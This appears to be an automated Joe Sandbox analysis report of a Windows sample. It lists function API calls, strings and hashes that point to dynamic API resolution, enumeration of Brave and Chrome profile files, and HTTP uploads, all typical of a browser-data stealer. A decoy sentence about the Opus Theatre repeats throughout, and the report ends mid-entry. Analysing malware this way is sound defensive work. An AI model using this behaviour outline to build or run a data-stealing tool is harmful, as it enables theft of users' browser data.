The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction ID: 5e1cd967cc1bd71f365b3ff5871be6e8d111942329c8327febd6a33c3aeace51
Opcode Fuzzy Hash: 94e7660d446ef400bbca7e6a05bf8504b75a8e0329621672810e0e1d9e7bb62d
Instruction Fuzzy Hash: 5841BD79740624EBC718AFE5EC8DB987F70AB4C712BA0C062F90296190C7F9D5019B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00918990), ref: 004198A1
GetProcAddress.KERNEL32(74DD0000,00918B88), ref: 004198BA
GetProcAddress.KERNEL32(74DD0000,00918A08), ref: 004198D2
GetProcAddress.KERNEL32(74DD0000,00918AE0), ref: 004198EA
GetProcAddress.KERNEL32(74DD0000,00918AC8), ref: 00419903
GetProcAddress.KERNEL32(74DD0000,00918490), ref: 0041991B
GetProcAddress.KERNEL32(74DD0000,00912D58), ref: 00419933
GetProcAddress.KERNEL32(74DD0000,00912DB8), ref: 0041994C
GetProcAddress.KERNEL32(74DD0000,009189A8), ref: 00419964
GetProcAddress.KERNEL32(74DD0000,00918BA0), ref: 0041997C
GetProcAddress.KERNEL32(74DD0000,00919F10), ref: 00419995
GetProcAddress.KERNEL32(74DD0000,00919E20), ref: 004199AD
GetProcAddress.KERNEL32(74DD0000,00912DD8), ref: 004199C5
GetProcAddress.KERNEL32(74DD0000,00919E68), ref: 004199DE
GetProcAddress.KERNEL32(74DD0000,00919E80), ref: 004199F6
GetProcAddress.KERNEL32(74DD0000,00912F98), ref: 00419A0E
GetProcAddress.KERNEL32(74DD0000,0091A018), ref: 00419A27
GetProcAddress.KERNEL32(74DD0000,00919EF8), ref: 00419A3F
GetProcAddress.KERNEL32(74DD0000,00912D18), ref: 00419A57
GetProcAddress.KERNEL32(74DD0000,00919F88), ref: 00419A70
GetProcAddress.KERNEL32(74DD0000,00912FD8), ref: 00419A88
LoadLibraryA.KERNEL32(00919DA8,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(00919E38,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(00919FA0,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(0091A000,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(00919DF0,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(75A70000,00919D90), ref: 00419B02
GetProcAddress.KERNEL32(75290000,0091A060), ref: 00419B23
GetProcAddress.KERNEL32(75290000,00919F70), ref: 00419B3B
GetProcAddress.KERNEL32(75BD0000,0091A078), ref: 00419B5D
GetProcAddress.KERNEL32(75450000,00912F58), ref: 00419B7E
GetProcAddress.KERNEL32(76E90000,00918550), ref: 00419B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Google Chrome, xrefs: 0040C634
Preferences, xrefs: 0040C11E
\Brave\Preferences, xrefs: 0040C1DB
Brave, xrefs: 0040C102

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 9217ac8b57a76904c7a2b6f1d6841a6c067af5b4e244b9e4eb8bbdccd9447bb2
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: 9217ac8b57a76904c7a2b6f1d6841a6c067af5b4e244b9e4eb8bbdccd9447bb2
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 6C6C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C74F688,00001000), ref: 6C6C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C6C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C6C369F
__aulldiv.LIBCMT ref: 6C6C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C6C3773
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6C377E
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6C37C4
EnterCriticalSection.KERNEL32(6C74F688), ref: 6C6C37CB
LeaveCriticalSection.KERNEL32(6C74F688), ref: 6C6C3801
__aulldiv.LIBCMT ref: 6C6C3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C6C3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C6C3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C6C394C

Strings

GenuntelineI, xrefs: 6C6C3639
QPC, xrefs: 6C6C38FC
AuthcAMDenti, xrefs: 6C6C3946
GTC, xrefs: 6C6C3912
MOZ_TIMESTAMP_MODE, xrefs: 6C6C35DB

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: d2ccaa95ea3d1ab22d6f6abc5f027eaaadd443aa366ffc733a168da5d7ea793f
Instruction ID: f1f672f258c776f1ca3ac7439a163f7c96d4881560667c5acbf955a1c295d118
Opcode Fuzzy Hash: d2ccaa95ea3d1ab22d6f6abc5f027eaaadd443aa366ffc733a168da5d7ea793f
Instruction Fuzzy Hash: 4BB1B271B093109BDB08EF28C94465ABBF9EB8A718F04C93FE899D7750D73099048B96

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920
%s\%s, xrefs: 004149FB

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 6ecad4d4ef71890ec3272b74fa977e856e1204cece2672929da42eff7cd3db36
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 6ecad4d4ef71890ec3272b74fa977e856e1204cece2672929da42eff7cd3db36
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,00921F00), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,00922030), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,00921FB0,?,00921278,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 00404B28
------, xrefs: 004049BD
", xrefs: 00404D33
", xrefs: 00404BF2
------, xrefs: 00404C69

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 9034fb3b55c5ae2b22fb33cc1b4441cb9c77b87eafbf656d2674148ebcb28040
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 9034fb3b55c5ae2b22fb33cc1b4441cb9c77b87eafbf656d2674148ebcb28040
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

